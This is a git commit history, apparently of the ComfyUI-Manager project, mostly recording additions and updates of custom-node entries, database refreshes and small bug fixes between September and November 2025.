Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-19 22:41:13 +09:00
Dr.Lt.Data 1a0d24110a update DB 2025-11-19 22:38:35 +09:00
Devin GarnerandDr.Lt.Data e79f6c4471 Add new node for ComfyUI_Make-It-Animatable (#2292)
* Add new node for ComfyUI_Make-It-Animatable

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-19 22:37:20 +09:00
Dr.Lt.Data a8a7024a84 update DB 2025-11-19 18:46:14 +09:00
Dr.Lt.Data d93d002da0 improved: scanner.py - bugfix about preemption and support extraction only mode 2025-11-19 13:00:26 +09:00
Dr.Lt.Data baaa0479e8 update DB 2025-11-19 01:43:47 +09:00
Dr.Lt.Data cc3bd7a056 update DB 2025-11-18 12:59:21 +09:00
Dr.Lt.Data 4ecefb3b71 improved: scanner.py - supports scanning v3 nodes 2025-11-18 12:48:02 +09:00
Dr.Lt.Data f24b5aa251 update DB 2025-11-17 12:27:39 +09:00
Dr.Lt.Data de547da4cd update DB 2025-11-17 00:37:26 +09:00
Dr.Lt.Data 0f884166a6 update DB 2025-11-16 23:03:10 +09:00
Alan Kent 63379f759d Added 360 interactive crop tool. (#2285) 2025-11-16 23:02:22 +09:00
Dr.Lt.Data 8fdff20243 update DB 2025-11-16 23:01:34 +09:00
Grafting RaymanandDr.Lt.Data 5dfa07ca03 Updates to the existing details (#2286)
* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-16 23:00:03 +09:00
Dr.Lt.Data 343645be6a update DB 2025-11-16 22:58:58 +09:00
Wei Deng 91bf21d7a8 Add ComfyUI-MiVolo-V2 node details to JSON (#2283) 2025-11-16 22:57:30 +09:00
Dr.Lt.Data be6516cfd3 update DB 2025-11-15 13:32:22 +09:00
Dr.Lt.Data 61f1e516a3 update DB 2025-11-15 08:27:09 +09:00
Grafting RaymanandDr.Lt.Data 73b2278b45 Update custom-node-list.json (#2275)
* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-15 08:25:44 +09:00
Dr.Lt.Data aa625e30b6 update DB 2025-11-15 08:25:30 +09:00
mercu-loreandDr.Lt.Data 29a46fe4ce Update custom-node-list.json (#2279)
* Update custom-node-list.json

* Update custom-node-list.json

* Update BoxBox ID in custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-15 08:22:12 +09:00
Dr.Lt.Data 5b3ee49530 update DB 2025-11-15 08:21:27 +09:00
Owl-V a9158a101f feat: add ComfyUI-MultiTranslator (replaces ComfyUI-Translator) (#2278)
This PR addresses two issues with the previous ComfyUI-Translator entry:

Missing id field — caused the plugin to be invisible in ComfyUI-Manager's Install tab.
Naming conflict — the original name ComfyUI-Translator overlaps with other translation plugins, leading to user confusion.
The repository has been renamed to ComfyUI-MultiTranslator to better reflect its multi-engine capability and avoid conflicts.

This PR removes the old entry and adds a new, fully compliant one with a unique id.
2025-11-15 08:20:31 +09:00
feed8abb34 Add iamccs annotate node — ComfyUI annotation extension (#2254)
* feat: Add IAMCCS-nodes repository (WANAnimate LoRA Loader Fix)

This repo adds a node fixing LoRA loading in native WANAnimate workflows without using WanVideoWrapper. Critical for FLUX/WAN 2.1 users.

* Update custom-node-list.json

* feat: Add IAMCCS annotate node to the list

* Update custom-node-list.json

---------

Co-authored-by: IAMCCS <info@carminecristalloscalzi.com>
Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-15 08:16:01 +09:00
Dr.Lt.Data 70decc740f update DB 2025-11-13 00:27:19 +09:00
Dr.Lt.Data 5b5c83f8c5 update DB 2025-11-12 23:52:37 +09:00
Takahiro Yano 773c06f40d Add ComfyUI Fast Mosaic Detector node (#2274)
Added a new custom node for ComfyUI that provides high-speed mosaic detection with multiple modes.
2025-11-12 23:51:34 +09:00
Dr.Lt.Data 737e6ad5ed update DB 2025-11-12 23:50:51 +09:00
CreepybitsandDr.Lt.Data 81bca9c94e Update custom-node-list.json (#2273)
* Update custom-node-list.json

* Modify 'world weaver' node details in JSON

Updated the 'id' and 'install_type' fields for the 'world weaver' node.

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-12 23:50:10 +09:00
Dr.Lt.Data eef0654de2 update DB 2025-11-12 23:49:43 +09:00
Dr.Lt.Data 997a00b8a2 update DB 2025-11-12 23:48:24 +09:00
RafaCost3DandDr.Lt.Data 4d25232c5f This adds rafacostcomfy nodes DreamOmni2 GGUF (#2272)
* This adds rafacostcomfy nodes, which adds support to DreamOmni2 GGUF VLM models

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-12 23:47:44 +09:00
Dr.Lt.Data 135befa101 update DB 2025-11-12 23:45:41 +09:00
Owl-VandDr.Lt.Data 44cac3fc43 Add a set of translator nodes (#2271)
* Add a set of translator nodes

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-12 23:44:49 +09:00
Dr.Lt.Data 449fa3510e update DB 2025-11-12 23:42:29 +09:00
painter890602andDr.Lt.Data d958af8aad Add ComfyUI-Painterl2V to custom-node-list (#2267)
* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-12 23:41:30 +09:00
Dr.Lt.Data 09f8d5cb2d update DB 2025-11-11 01:56:51 +09:00
Dr.Lt.Data aedc99cefd bump version 2025-11-11 00:42:32 +09:00
unclepomedev b32cab6e9a Fix: Gracefully handle errors during pip package enumeration (#2266) 2025-11-11 00:41:16 +09:00
Dr.Lt.Data a95186965e update DB 2025-11-11 00:40:41 +09:00
Bulldog68andDr.Lt.Data 7067de1bb2 request to add the node comfyui fmj llm in the manager. (#2265)
* Add FMJ-LLM node for Olama interaction

Added a new node for FMJ-LLM with details about its functionality and installation.

* Add FMJ-LLM node for Olama interaction

Added new node for FMJ-LLM with details for installation and usage.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-11 00:39:36 +09:00
Dr.Lt.Data f45d878d21 update DB 2025-11-11 00:39:23 +09:00
UsonakiandUsonaki a0532b938d Update custom-node-list.json to point to Usonaki fork (#2264)
Co-authored-by: Usonaki <you@example.com>
2025-11-11 00:37:32 +09:00
Dr.Lt.Data 6ad12b7652 update DB 2025-11-11 00:37:15 +09:00
Bulldog68andDr.Lt.Data 02887c6c9b Add FMJ-speed-Prompt node to custom-node-list (#2263)
* Add FMJ-speed-Prompt node to custom-node-list

Added a new node for FMJ-speed-Prompt with details.

* Fix JSON structure for FMJ-speed-Prompt entry

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-11 00:35:29 +09:00
Dr.Lt.Data 1b645e1cc3 update DB 2025-11-11 00:31:40 +09:00
Uygar 0a4b2a0488 Update custom-node-list.json (#2268)
Added ComfyUI-Artha Nodes
2025-11-11 00:29:52 +09:00
Alex Furer d4ce6ddc52 Add ComfyUI AF - Enhanced-HTML-Note node (#2269)
Added new ComfyUI custom node for enhanced HTML notes.
2025-11-11 00:28:44 +09:00
Dr.Lt.Data 5a5b989533 update DB 2025-11-11 00:27:17 +09:00
Owl-VandDr.Lt.Data b57cffb0fa feat: add ComfyUI-Owlv_Nodes (#2270)
* feat: add ComfyUI-Owlv_Nodes

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-11 00:25:53 +09:00
Dr.Lt.Data 72aa95cacf update DB 2025-11-10 12:56:58 +09:00
Dr.Lt.Data 14ef448937 update DB 2025-11-08 13:51:59 +09:00
fllywaayandDr.Lt.Data 1c10607c06 Add My Comfyui-TextLine-counter node (#2253)
* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

* Remove 'id' field from Comfyui-TextLine-counter

Removed 'id' field from the Comfyui-TextLine-counter entry.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-08 13:40:13 +09:00
Dr.Lt.Data 41e53a1f2a update DB 2025-11-08 13:40:04 +09:00
mikesimoneandDr.Lt.Data cde83e9a38 Add ComfyUI-LinkModeToggle custom node (#2260)
* Update custom-node-list.json

* Update custom-node-list.json

Renamed LinkModeToggle to ComfyUI-LinkModeToggle.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-08 13:36:58 +09:00
Dr.Lt.Data 6c206b1c72 update DB 2025-11-08 13:36:48 +09:00
Hansheng Chen a474219e7b Add ComfyUI-piFlow node to custom-node-list.json (#2261) 2025-11-08 13:35:57 +09:00
Dr.Lt.Data 3b8d25eb31 update DB 2025-11-08 13:34:23 +09:00
mercu-loreandDr.Lt.Data 0faa0aa668 Add multiple angle camera control node (#2262)
* Add multiple angle camera control node

Added a new node for multiple angle camera control with detailed description and installation type.

* Remove duplicate entry for Multiple-Angle-Camera-Control

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-08 13:33:08 +09:00
Dr.Lt.Data 0fcdcc93a2 update DB 2025-11-07 12:37:02 +09:00
Dr.Lt.Data 461d5e72fe update DB 2025-11-07 00:42:18 +09:00
Dr.Lt.Data 3f030a2121 update DB 2025-11-06 00:37:25 +09:00
Dr.Lt.Data 7fb8e8662f update DB 2025-11-05 07:48:33 +09:00
Dr.Lt.Data dd3ab9cff2 update DB 2025-11-05 00:33:32 +09:00
Dr.Lt.Data 97b518de12 update DB 2025-11-04 23:25:04 +09:00
Dr.Lt.Data d2a795c866 update DB 2025-11-04 07:54:26 +09:00
Amir FerdosandDr.Lt.Data 8a3d65be20 Add ComfyUI-GRAG-ArchAi3D custom node (#2252)
* Add ComfyUI-ArchAi3d-Qwen custom nodes

* Add new node entry for ComfyUI-GRAG-ArchAi3D

Adding GRAG (Guided Region-Adaptive Guidance) custom node with:
- Simple and Unified controllers
- Advanced sampler
- 54 presets
- Per-layer and adaptive control

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-04 07:32:06 +09:00
Dr.Lt.Data b2126d8ba5 update DB 2025-11-03 18:23:26 +09:00
Dr.Lt.Data 6386411d21 update DB 2025-11-03 12:33:07 +09:00
Dr.Lt.Data 4250244136 update DB 2025-11-03 07:40:01 +09:00
Dr.Lt.Data 77c4f9993d update DB 2025-11-02 12:26:36 +09:00
Dr.Lt.Data c7c8417577 update DB 2025-11-02 08:49:24 +09:00
Dr.Lt.Data 9d0985ded8 update DB 2025-11-01 13:39:08 +09:00
方长君andDr.Lt.Data 3663e10e33 Change Custom Node github address (#2247)
* Add MultiSaveImage custom node

* feat: change nodes github address and name

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-01 11:55:55 +09:00
Dr.Lt.Data 5f37a82c3c update DB 2025-11-01 11:47:07 +09:00
Dr.Lt.Data 026bf1dfd7 update DB 2025-10-31 12:58:49 +09:00
Dr.Lt.Data 643a6e5080 update DB 2025-10-31 08:01:20 +09:00
Alex Furer 5267502896 Remove AF - Edit Generated Prompt node entry (#2245)
Removed 'AF - Edit Generated Prompt' node entry from the custom node list, as it's being migrated to a node pack and summitted via official registry
2025-10-31 07:41:26 +09:00
Dr.Lt.Data c3c152122d update DB 2025-10-30 07:53:35 +09:00
Dr.Lt.Data afeac097e5 update DB 2025-10-29 07:45:00 +09:00
Roberts Slisans e5cea64132 Add TTS WebUI API nodes (#2243) 2025-10-29 07:44:16 +09:00
Dr.Lt.Data 26da78cf15 update DB 2025-10-27 12:57:21 +09:00
Dr.Lt.Data 179a1e1ca0 update DB 2025-10-26 14:27:17 +09:00
dehypnotic b379d275d1 Add Dehypnotic Save nodes to custom-node-list.json (#2221)
Added new node entry for Dehypnotic Save nodes with details.
2025-10-26 14:22:22 +09:00
Dr.Lt.Data 133cdfb203 update DB 2025-10-26 13:10:07 +09:00
Dr.Lt.Data 2b79edd9be update DB 2025-10-26 13:03:24 +09:00
WWWEN8andDr.Lt.Data 3862a92e04 Add ComfyUI-CCXManager node (#2222)
* Add ComfyUI-CCXManager node

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-26 13:02:01 +09:00
Dr.Lt.Data f4e3817fcc update DB 2025-10-26 13:01:34 +09:00
Novice_Chen 61f0f5d67c Added ComfyUI-Simple-IndexTTs node (#2236) 2025-10-26 13:00:26 +09:00
Dr.Lt.Data 87f57551ea update DB 2025-10-26 13:00:06 +09:00
BlackSnowSkillandDr.Lt.Data ee51efed69 Update custom-node-list.json (#2238)
* Update custom-node-list.json

* Simplify node entry by removing file links

Removed specific file links and custom installer from the node list entry.

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-26 12:58:30 +09:00
wzgrx 5dab865681 Update requirements.txt (#2242) 2025-10-26 12:57:49 +09:00
Dr.Lt.Data 8c0581eebc update DB 2025-10-26 12:52:31 +09:00
Dr.Lt.Data a72f9f422c update DB 2025-10-25 11:09:04 +09:00
Dr.Lt.Data 1354a8c970 update DB 2025-10-24 12:25:01 +09:00
Dr.Lt.Data 00a5115267 update DB 2025-10-23 20:45:14 +09:00
Edgerunner 00282eab7b Added ComfyUI Queue Manager node (#2235) 2025-10-23 20:40:11 +09:00
Dr.Lt.Data bec128de58 update DB 2025-10-23 20:16:27 +09:00
Dr.Lt.Data 9edfa7b4fa update DB 2025-10-23 07:59:17 +09:00
Dr.Lt.Data a9af70e5f0 update DB 2025-10-23 06:59:38 +09:00
Dr.Lt.Data 910caf593f update DB 2025-10-23 06:59:22 +09:00
LeechKing 02dc072dc7 Add ComfyUI Channel Ops custom node entry (#2239) 2025-10-23 06:58:15 +09:00
Dr.Lt.Data 78fb354452 update DB 2025-10-21 12:32:28 +09:00
Dr.Lt.Data 66f5eca7fa update DB 2025-10-21 07:53:50 +09:00
Dr.Lt.Data d3906e3cbc bump version 2025-10-21 07:25:56 +09:00
Dr.Lt.Data 079ac254ce fixed: Bug fix in glob/manager_server.py that prevented cache updates when installed via pip. (#2237)
Until the cacheless implementation is fully applied, the cache must always be updated — otherwise, various parts of the system will malfunction.
2025-10-21 07:16:57 +09:00
Dr.Lt.Data be95396a57 update DB 2025-10-20 18:47:13 +09:00
Dr.Lt.Data 59cbed429f update DB 2025-10-20 12:47:53 +09:00
Dr.Lt.Data d49df7aebb update DB 2025-10-20 07:43:35 +09:00
Dr.Lt.Data 0aa9faad2e update DB 2025-10-20 06:57:50 +09:00
OmiXandDr.Lt.Data 1337def888 Add OmiXDev Custom Nodes collection for Online-Chat ( OpenAI , grok ,.. ) with API Key (#2200)
* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-20 06:08:04 +09:00
Dr.Lt.Data 4b100c558b update DB 2025-10-19 12:01:07 +09:00
Dr.Lt.Data 1425a71ece update DB 2025-10-19 10:49:22 +09:00
Dr.Lt.Data e0640e7014 fixed: more complete uv support (#2230)
* Previously, only `uv` installed inside a venv was properly handled. Now `uv` installed outside the venv is also supported.
* Even if `use_uv=False`, `uv` is used as a fallback when `pip` is unavailable.
* Even if `use_uv=True`, `pip` is used as a fallback when `uv` is unavailable.

https://github.com/Comfy-Org/ComfyUI-Manager/issues/2125
2025-10-18 08:15:14 +09:00
Dr.Lt.Data a8524508fe update DB 2025-10-17 23:01:11 +09:00
Dr.Lt.Data a5ff973d53 update DB 2025-10-17 07:55:16 +09:00
Dr.Lt.Data 337c9aa2c7 update DB 2025-10-16 18:34:03 +09:00
Dr.Lt.Data f1448403ac update DB 2025-10-16 12:46:10 +09:00
Dr.Lt.Data d0b5f77ec6 update DB 2025-10-16 12:16:26 +09:00
Dr.Lt.Data 9cb22ffb60 update DB 2025-10-16 07:45:03 +09:00
KarryCharon f556962d82 Add Blender-IO extension (#2223) 2025-10-16 06:46:16 +09:00
Dr.Lt.Data d28448d519 update DB 2025-10-15 07:47:45 +09:00
Casual Gamer c590a88ffd feat: Add ComfyUI-Danbooru-Tags-Upsampler (#2220) 2025-10-15 06:50:07 +09:00
Dr.Lt.Data a1fc6c817b update DB 2025-10-14 12:30:05 +09:00
Dr.Lt.Data 5554e52799 update DB 2025-10-14 08:39:13 +09:00
Dr.Lt.Data ca749eb4d2 update DB 2025-10-14 07:22:26 +09:00
Michael 41ceee3d24 Add ML_nodes to ComfyUI Manager registry (#2219)
* Update custom-node-list.json

add ML_nodes

* Update custom-node-list.json

fix imstall_type
2025-10-14 07:21:01 +09:00
Dr.Lt.Data 5acfd52986 update DB 2025-10-14 07:20:45 +09:00
ec4c7b2f6a feat: Add IAMCCS-nodes repository (WANAnimate LoRA Loader Fix) (#2218)
* feat: Add IAMCCS-nodes repository (WANAnimate LoRA Loader Fix)

This repo adds a node fixing LoRA loading in native WANAnimate workflows without using WanVideoWrapper. Critical for FLUX/WAN 2.1 users.

* Update custom-node-list.json

---------

Co-authored-by: IAMCCS <info@carminecristalloscalzi.com>
Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-14 07:14:33 +09:00
Dr.Lt.Data 22a3d8f95f update DB 2025-10-13 12:48:21 +09:00
Dr.Lt.Data 06b89ca277 update DB 2025-10-13 08:39:08 +09:00
Dr.Lt.Data 9e5ffbd00a update DB 2025-10-13 07:36:15 +09:00
Dr.Lt.Data 39e92ed778 update DB 2025-10-13 06:30:24 +09:00
HmilyandDr.Lt.Data 68a3ec567a Add comfy-deploy node to the custom node list and extension note map list (#2215)
* Update custom-node-list.json

* Update extension-node-map.json

* Update extension-node-map.json

* Update extension-node-map.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-13 06:29:38 +09:00
Dr.Lt.Data 28231e81b3 update DB 2025-10-13 06:25:59 +09:00
Chris b2ee0feeaa Update custom-node-list.json (#2209)
Added comfyui-seedvr2-tilingupscaler
2025-10-13 06:25:23 +09:00
Dr.Lt.Data 5541b6b366 update DB 2025-10-13 06:25:03 +09:00
Amir Ferdos 408a5fe27e Add ComfyUI-ArchAi3d-Qwen custom nodes (#2214) 2025-10-13 06:23:41 +09:00
Dr.Lt.Data bffc73f976 update DB 2025-10-13 06:23:21 +09:00
heyburnsandDr.Lt.Data bd6edfc9dd Add PortraitUtils to custom-node-list.json (#2216)
* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-13 06:21:28 +09:00
Hardly Working 2cb24e8a94 Update custom-node-list.json (#2217) 2025-10-13 06:16:52 +09:00
Dr.Lt.Data a49779c4d2 update DB 2025-10-13 06:14:21 +09:00
kj863257rc 15a5a5f5df Update custom-node-list.json (#2213)
Add reference information
2025-10-13 06:12:43 +09:00
Sonny Box b5e0558d6e Update custom-node-list.json (#2212) 2025-10-13 06:12:00 +09:00
scofanoandDr.Lt.Data 4d683b23fc Include new node (#2211)
* Include New node

* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-13 06:11:13 +09:00
SBCODE c13da606b2 Update custom-node-list.json with a Video Reverse Tool (#2210)
Add a reference to a tool for reversing the image batch tensor of video type files such as MP4, WebM, WebP, Animated Gif.

Also added tags to my other custom nodes Virtual Camera and Image Compare.
2025-10-13 06:09:43 +09:00
Dr.Lt.Data c792f9277c update DB 2025-10-10 09:03:13 +09:00
Dr.Lt.Data b430f42622 update DB 2025-10-10 08:27:54 +09:00
shawnawshkandremote-dev fee822f5ae feat: updated models-list to add support for Qwen Images models (#2204)
* feat: updated models-list to add support for Qwen Images models

* fix: give back orginal spacing

---------

Co-authored-by: remote-dev <you@example.com>
2025-10-10 08:23:26 +09:00
SBCODE 192659ecbd Update custom-node-list.json (#2205)
Added an option for ComfyUI Image Compare.
A no frills image comparing tool. 
Compare two images using ComfyUI. 
Connect images to both image_a and image_b inputs. 
Press RUN. 
Then use the slider to compare.
2025-10-10 08:21:56 +09:00
PiePieandImbrium201 810431b9e2 Adding PiePieTweaks custom nodes (#2206)
Co-authored-by: Imbrium201 <133581634+imbrium201@users.noreply.github.com>
2025-10-10 08:21:42 +09:00
Dr.Lt.Data 02d845adf3 update DB 2025-10-10 08:18:51 +09:00
Dr.Lt.Data 89c7b960fb update scanner.py 2025-10-10 08:03:52 +09:00
Dr.Lt.Data ed1e399a56 update DB 2025-10-10 01:56:14 +09:00
Dr.Lt.Data 8a3ce1ae57 update DB 2025-10-10 00:41:43 +09:00
sumitchatterjee13 d89ff649f8 Removed HDR Vae Decode node (#2202)
Due to my company policy, my company asked me to remove this node and asked me not to share the codes, so I removed the nodes.
2025-10-10 00:07:01 +09:00
Dr.Lt.Data 24a73b5d1c update DB 2025-10-09 11:56:44 +09:00
Dr.Lt.Data 4d0c40ff8a update DB 2025-10-09 10:57:02 +09:00
Dr.Lt.Data b5a2bed539 update DB 2025-10-08 12:16:22 +09:00
dehypnotic 0efb79f571 Update custom-node-list.json (#2199) 2025-10-08 11:07:40 +09:00
Seungyong Lee df944b9a0f Update custom-node-list.json (#2198) 2025-10-08 11:06:50 +09:00
scofanoandDr.Lt.Data 2c11846430 Add new node - Character and Word counter (#2195)
* Include New node

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-08 11:05:24 +09:00
Dr.Lt.Data 0035c01186 update DB 2025-10-07 14:29:49 +09:00
snicolast 34be3384fe new node: Lightweight ComfyUI wrapper for OVI (#2196) 2025-10-07 13:19:36 +09:00
Dr.Lt.Data ebbc7b3335 update DB 2025-10-07 13:18:57 +09:00
TEKUA@AITECCAFE 4ccc8c3086 Update custom-node-list.json (#2194)
Add MyCustomNode.
ComfyUI_AITECCAFE_Toolkit
2025-10-07 13:17:35 +09:00
Dr.Lt.Data af9ebc9568 update DB 2025-10-05 09:15:49 +09:00
Dr.Lt.Data ca4b61c5f0 update DB 2025-10-04 07:26:25 +09:00
Dr.Lt.Data 393839b3ab update DB 2025-10-03 12:54:02 +09:00
Dr.Lt.Data dadfc96e00 update DB 2025-10-03 11:10:48 +09:00
u5dev a0a33aef03 Add: u5 VramFREE to custom-node list (#2191)
Register "u5 VramFREE" (repo: https://github.com/u5dev/comfyUI_u5_VramFREE).
Utility node for freeing VRAM and sequential model loading.
Tags: utility, vram, memory, optimization.
2025-10-03 10:49:12 +09:00
Dr.Lt.Data 99ed81e0f5 update DB 2025-10-02 12:58:04 +09:00
Dr.Lt.Data 5b697db219 update DB 2025-10-02 07:45:30 +09:00
rubyrubyp 8e5bf46e14 Fix spelling in font definition (#2189) 2025-10-02 07:36:57 +09:00
Dr.Lt.Data 9f649b0900 update DB 2025-10-01 12:32:02 +09:00
Dr.Lt.Data abb15e06d3 update DB 2025-10-01 07:51:07 +09:00
Dr.Lt.Data 11a317493e update DB 2025-10-01 00:35:12 +09:00
Inoland e8cece0c1b Add ComfyUI Ino nodes (#2187)
https://github.com/nobandegani/comfyui_ino_nodes
2025-10-01 00:10:39 +09:00
Dr.Lt.Data 1ab882f81d update DB 2025-09-30 12:45:40 +09:00
Dr.Lt.Data b9338186e3 update DB 2025-09-30 07:34:06 +09:00
Dr.Lt.Data 7c3cbff425 update DB 2025-09-29 12:37:31 +09:00
Dr.Lt.Data 1ff0afc633 update DB 2025-09-29 08:12:12 +09:00
Dr.Lt.Data bfe7ee8fba update DB 2025-09-29 07:48:55 +09:00
Dr.Lt.Data 49c73ed10e update DB 2025-09-29 07:18:46 +09:00
Light-x02 f571baacf9 Add ComfyUI-Lightx02-Nodes and remove duplicates (#2185)
* Update custom-node-list.json

* Update custom-node-list.json
2025-09-29 07:18:20 +09:00
MiuProjectandDr.Lt.Data 6f02e1114c add VNCCS node to node list (#2184)
* add VNCCS node to node list

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-09-29 07:16:56 +09:00
Dr.Lt.Data e230f43565 update DB 2025-09-27 08:11:37 +09:00
Dr.Lt.Data 0d9593e71b update DB 2025-09-27 06:26:28 +09:00
Vérole 20778ecfb0 Add custom node: ComfyUI-VideoCompressor (#2182)
Adds a new unified video compression node. It handles image/video inputs and features 2-pass, CRF, and GPU encoding modes
2025-09-27 05:37:58 +09:00
kj863257rc 2ea991d960 Update custom-node-list.json : add ComfyUI_RC_Image_Compositor to custom-node-list.json (#2180) 2025-09-27 05:37:05 +09:00
Dr.Lt.Data 119c107834 update DB 2025-09-26 12:41:49 +09:00
Dr.Lt.Data 800a0d0449 update DB 2025-09-26 07:20:06 +09:00
Dr.Lt.Data 95c43f0189 update DB 2025-09-26 07:00:07 +09:00
AlexandDr.Lt.Data 9c77176c7f updated nodes (#2179)
* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-09-26 06:59:16 +09:00
Dr.Lt.Data ddb6a55cd6 update DB 2025-09-25 18:12:48 +09:00
Dr.Lt.Data 56a4f6fdd7 update DB 2025-09-25 07:46:13 +09:00
Dr.Lt.Data 8a30f788b5 update DB 2025-09-25 07:21:37 +09:00
ae(seth)tics 380a1c2c8c Update custom-node-list.json (#2177)
Add ComfyUI 3D Model Viewer custom node
2025-09-25 07:18:50 +09:00
Dr.Lt.Data cd8e8335cf update DB 2025-09-25 07:18:33 +09:00
sumitchatterjee13 6e1beb54a4 Add vae-decode-hdr node with HDR support (#2174)
Added a new custom The vae-decode-hdr repository is for a custom ComfyUI node designed to preserve High Dynamic Range (HDR) data during VAE decoding. The developer, Sumit Chatterjee, created this node to address the limitation of ComfyUI's default VAE Decode node, which compresses outputs to a 0-1 pixel range, resulting in a loss of dynamic range.

The node uses a "scientific approach" to analyze the VAE's conv_out layer and intelligently expand highlight regions, bypassing the clipping that typically occurs. The repository also includes a companion tool called the "Linear EXR Export" node, which is essential for creating professional HDR output files that are ready for use in compositing software. The project is licensed under the MIT License and is open to contributions.ComfyUI node for HDR VAE decoding.
2025-09-25 07:17:28 +09:00
Dr.Lt.Data 9217c965dd update DB 2025-09-25 07:17:12 +09:00
DaLongZZi a4d71ef487 Add Gemini Prompt Studio node (#2175) 2025-09-25 07:16:18 +09:00
Dr.Lt.Data 518f332047 update DB 2025-09-25 07:15:19 +09:00
Peter 9257d497b8 Add pg nodesAdd "PG Nodes" to custom-node-list.json (#2173)
* Update custom-node-list.json for PG Nodes

* Update custom-node-list.json for PG Nodes (fix)
2025-09-25 07:13:59 +09:00
Dr.Lt.Data 07cf5de4f7 update DB 2025-09-24 07:47:34 +09:00
wallen0322andDr.Lt.Data 43ad69e48d Update custom-node-list.json-Add ComfyUI-QI-QwenEditSafe (#2169)
* Update custom-node-list.json-Add ComfyUI-QI-QwenEditSafe

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-09-24 07:17:34 +09:00
Dr.Lt.Data c62e236cc6 update DB 2025-09-24 07:17:07 +09:00
fkxianzhou 15a2fbb293 Update custom-node-list.json (#2168) 2025-09-24 07:15:32 +09:00
Dr.Lt.Data 16800c3fa0 update DB 2025-09-23 12:57:23 +09:00
Dr.Lt.Data ce09f41aa3 update DB 2025-09-23 07:54:51 +09:00
Dr.Lt.Data 47dc2f036a update DB 2025-09-23 07:21:26 +09:00
S4MUELandDr.Lt.Data f27a154bfd Add ComfyUI-PromptsO to Custom node list (#2167)
* Add ComfyUI-S4Tool-Image to custom nodes list

Add ComfyUI-S4Tool-Image to custom nodes list

* Update custom-node-list.json

Add custom-node : ComfyUI-S4Motion

* Add ComfyUI-S4Tool-Text to custom node list

Text rendering and styling nodes for ComfyUI. This extension provides a basic text renderer, multiple font loaders, and a style node that adds stroke, shadow, gradient fill, and opacity control.

* Add ComfyUI-Prepack to custom node list

A small, practical bundle of ComfyUI nodes that streamlines common workflows.

* Update custom-node-list.json

* Add ComfyUI-PromptsO to Custom node list

A comprehensive AI API integration and prompt processing toolkit for ComfyUI, providing powerful text and image generation capabilities with advanced prompt manipulation tools.

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-09-23 07:20:33 +09:00
umyunsang 79757366e8 docs: fix typos and phrasing in README and docs (en/ko)\n\n- README: grammar, capitalization, option name (--skip-stat-update), double-click, macOS\n- js/README: Copus platform name\n- docs/en: Colab capitalization\n- docs/ko: spacing, wording, typos (예를, 명령, show를, etc.) (#2166) 2025-09-23 07:17:41 +09:00
Dr.Lt.Data 2cd9a417d6 update DB 2025-09-22 12:32:22 +09:00
Dr.Lt.Data deb05c6cc3 update DB 2025-09-22 07:30:28 +09:00
sumitchatterjee13 b6f171de51 Add Luminance Stack Processor node (#2165)
A set of nodes to stack multi exposure images to produce high dynamic range image, dedicated exr output node.
